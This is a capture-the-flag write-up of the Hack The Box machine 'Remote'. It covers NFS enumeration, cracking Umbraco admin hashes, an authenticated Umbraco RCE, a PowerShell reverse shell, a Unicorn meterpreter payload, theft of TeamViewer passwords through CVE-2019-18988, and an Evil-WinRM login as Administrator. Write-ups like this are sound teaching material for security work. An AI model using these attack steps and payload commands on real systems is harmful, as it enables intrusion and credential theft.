9 minute read


Remote is an interesting box that presents itself as a copy of the Umbraco demo site that is shared on a network drive for all to copy. The only problem is that within these files, a configuration betrays an administrator’s password - from there it’s a downhill ride of RCE’s mixed with C2 channels that I’ve mixed in for a fun time. Let’s begin!

Creator: mrb3n
Rating: 4.2 stars


This portion is standard for all of my articles - for ease-of-access, I add the following line to my /etc/hosts file:    remote.htb

This allows us to use most tools by entering remote.htb instead of the full IP address - it’s just easier to remember that way. Let’s kick off our standard nmap scan (note: output slightly trimmed for brevity):

# Nmap 7.80 scan initiated Fri Mar 27 22:05:04 2020 as: nmap -sCV -O -oA tcp-full -p- remote.htb
Nmap scan report for remote.htb (
Host is up (0.048s latency).
Not shown: 65519 closed ports
21/tcp    open  ftp           Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp    open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Home - Acme Widgets
111/tcp   open  rpcbind       2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
2049/tcp  open  mountd        1-3 (RPC #100005)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49678/tcp open  msrpc         Microsoft Windows RPC
49679/tcp open  msrpc         Microsoft Windows RPC
49680/tcp open  msrpc         Microsoft Windows RPC
No exact OS matches for host (If you know what OS is running on it, see ).


OS and Service detection performed. Please report any incorrect results at .
# Nmap done at Fri Mar 27 22:07:23 2020 -- 1 IP address (1 host up) scanned in 138.82 seconds

Wow, that’s a lot of ports open! However, if you’ve done a few of the Windows HTB machines you’ll notice a port that’s a bit interesting - port 111 is reporting as open and shows as NFS (this makes sense, since NFS is on Windows). Let’s check this out by running showmount:

showmount output

It’s worth noting here that if you run into errors, make sure that you have both nfs-common and cifs-utils via your package manager.

Nifty - we have a mount point that is open to whoever should choose to access it. We’ll create a mount point and then we can check out the files. To do so, run mkdir -p /tmp/mnt/site_backups and then sudo mount -t nfs /tmp/mnt/site_backups.

Once we get in, listing out the files produces something interesting that I hadn’t seen before - an Umbraco.sdf file under the App_Data folder. That’s not to say I’m some l337 hacker - I’m far from it - but I’d never seen a .sdf file before, so it’s the first thing that caught my eye.

Umbraco.sdf file location

This also hints at the existence of Umbraco on port 80 - we’ll worry about that later, though. For now let’s check out the content of the .sdf file using strings:

Umbraco.sdf examination with strings and less

Okay, so what do we have? It appears that we have 2 sets of unique usernames and hashes at the top - one for admin, the other for ssmith - and a bunch of program data that comes after that. Umbraco is kind enough to also tell us EXACTLY which hashing algorithm it uses, right next to the data. Let’s do some magic with strings, grep, and outputting to a file to get the hashes out. Once they’re in a file, manually clean up the rest; it shouldn’t take long at all. After all is said and done, we should have 2 hashes - one in SHA1 and the other in HMACSHA256 - that we can run through hashcat.

In case you’re not familiar with hashcat or don’t use it often, it comes with a nifty --example-hashes flag that will output a list of all the hashes it supports. Using that combined with grep, we discover that SHA1 is supported by mode 100. We run hashcat against our newly-found hash with the following command:

Hashcat cracking commmand

Let that run for a bit and you’ll get a “finished” screen and a shiny new set of credentials from the hash. In this case, they turn over the username and password combo of admin@htb.local::baconandcheese. We have an idea that these go to an Umbraco instance - let’s confirm that with some enumeration on the web site that is hosted.


So we have a standard setup with a site running on port 80. As with every site, running a gobuster provides us with invaluable data (note: I’ve taken the liberty of removing some of the chaff that were false positives):

Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:            http://remote.htb
[+] Threads:        30
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     asp,aspx,txt,php,html,htm
[+] Timeout:        10s
2020/06/03 15:32:04 Starting gobuster
/home (Status: 200)
/home.aspx (Status: 200)
/default.aspx (Status: 200)
/blog (Status: 200)
/blog.aspx (Status: 200)
/products (Status: 200)
/products.aspx (Status: 200)
/Default.aspx (Status: 200)
/Home (Status: 200)
/Home.aspx (Status: 200)
/Products (Status: 200)
/Products.aspx (Status: 200)
/Contact (Status: 200)
/Contact.aspx (Status: 200)
/install (Status: 302)
/Blog (Status: 200)
/Blog.aspx (Status: 200)
/about-us (Status: 200)
/about-us.aspx (Status: 200)
/People (Status: 200)
/People.aspx (Status: 200)
/INSTALL (Status: 302)
/intranet (Status: 200)
/intranet.aspx (Status: 200)
/PRODUCTS (Status: 200)
/PRODUCTS.aspx (Status: 200)
/Person (Status: 200)
/Person.aspx (Status: 200)
/PEOPLE (Status: 200)
/PEOPLE.aspx (Status: 200)

Out of the found pages, one stands out to me - /install. Often times these files can reveal underlying software or other juicy secrets - in this case it immediately redirects to the /umbraco page for login. No worries, trying out our credentials from the Umbraco.sdf file gives us access to the following page:

Umbraco admin panel

From here, exploring the admin page is rather…boring. However, Googling “Umbraco RCE” will net us an Exploit-DB notice that even has a nice PoC to go with it! However, as I found out - something in that code doesn’t work quite right. As such I found a much better script written in this GitHub by chppppp. We clone it to our attacking box and start attacking.

Always make sure to verify that the code does what you think it does - never run untrusted code on your system!

In order to use this Python script, we need to pass it the username and password (admin@htb.local and baconandcheese) and then give it a command to run as such:

Running the Umbraco RCE script

Perfect - we have code execution on the box. Rather than try to do enumeration via chppppp’s Python script, I’d like to use it to establish a foothold and get a reverse shell. The tricky part is that we have execution via Powershell, and a lot of upload tricks I normally try didn’t seem to work quite right (or at all). Instead I opted to use a trick from egre55/Nikhil Mittal and drop that Powershell reverse shell into a .ps1 that I then uploaded onto the box:

Downloading our reverse shell

Once we’ve got our reverse shell on the box, the rest is as easy as hacking the Gibson. Just execute the file and you should see a reverse shell pop into your netcat listener from the iis apppool\defaultapppool user. Our reward is a shiny user.txt flag, located in C:\Users\Public\user.txt.


So if you do the usual enumeration after establishing a foothold, you’ll realize there’s an interesting program installed in Program Files (x86). It’s an infamous one, known for its usage in scams globally - TeamViewer. This time, however, it’s being used as an autologin - and this post on CVE-2019-18988 by WhyNotSecurity outlines how they found it, and where the juicy bits are. It’s definitely worth the read.

For our case, we’re going to use the metasploit post/windows/gather/credentials/teamviewer_passwords module that WhyNotSecurity published later down the line. In order to do so, however, we will need to migrate over to a meterpreter shell - for that we’ll use a fantastic tool named Unicorn. We’ll be making a payload similar to how it is shown in this article To start using unicorn, just run python after cloning the repository - it’ll spit out a great help page with fashionable ASCII art to boot. We’ll run the following to get what we want:

python windows/meterpreter/reverse_tcp 12345

Upon completion, Unicorn spits out 2 files - powershell_attack.txt and a Metasploit .rc file. We care about the second part of the powershell_attack.txt file - copy everything as shown into unicorn.html:

Powershell payload for us

Now, we don’t need the whole thing as it’s listed - remove powershell /w 1 /C ", the last quotation mark, and anything after the last quotation mark from the file. Host your new HTML payload with a Python server, set up a multi/handler in Metasploit, and then GET unicorn.html using Powershell like so:

Download our unicorn payload

If everything was properly set up, you should have a shiny new meterpreter shell to play with. Background it, then run the post/windows/gather/credentials/teamviewer_passwords module against your session to receive the following output:

Stored teamviwer passwords

Fantastic! Now all that’s left to do is log in as Administrator using these credentials somehow. If we look at the nmap scan once more, we’ll notice that the WSMan port is open - 5985 - which means that if our user has rights to do so, we can use PSRemoting or similar to log in. In this case, my preference is to use the Ruby gem evil-winrm, but pick your poison. To log in with Evil-WinRM:

Evil-WinRM login


So what all did we accomplish today? We:

  • Learned how to enumerate mount points on a host
  • Learned how to mount open mount points to our local machine
  • Learned that Umbraco stores hashed credentials under App_Data/Umbraco.sdf
  • Used an authenticated Umbraco RCE to get a reverse shell
  • Used Unicorn to migrate to a meterpreter shell from Powershell
  • Learned that TeamViewer can allow us to grab passwords from the registry
  • Used Evil-WinRM to login as Administrator

Overall, I really enjoyed figuring out Remote - hopefully you did as well. Make sure to respect++ the creator of the box!

- sp1icer


chppppp Umbraco RCE GitHub:
egre55/Nikhil Mattil Powershell Reverse Shell -
Unicorn GitHub:
Unicorn for Privesc:
WhyNotSecurity on TeamViewer CVE:
mr-r3b00t TeamViewer CVE .bat: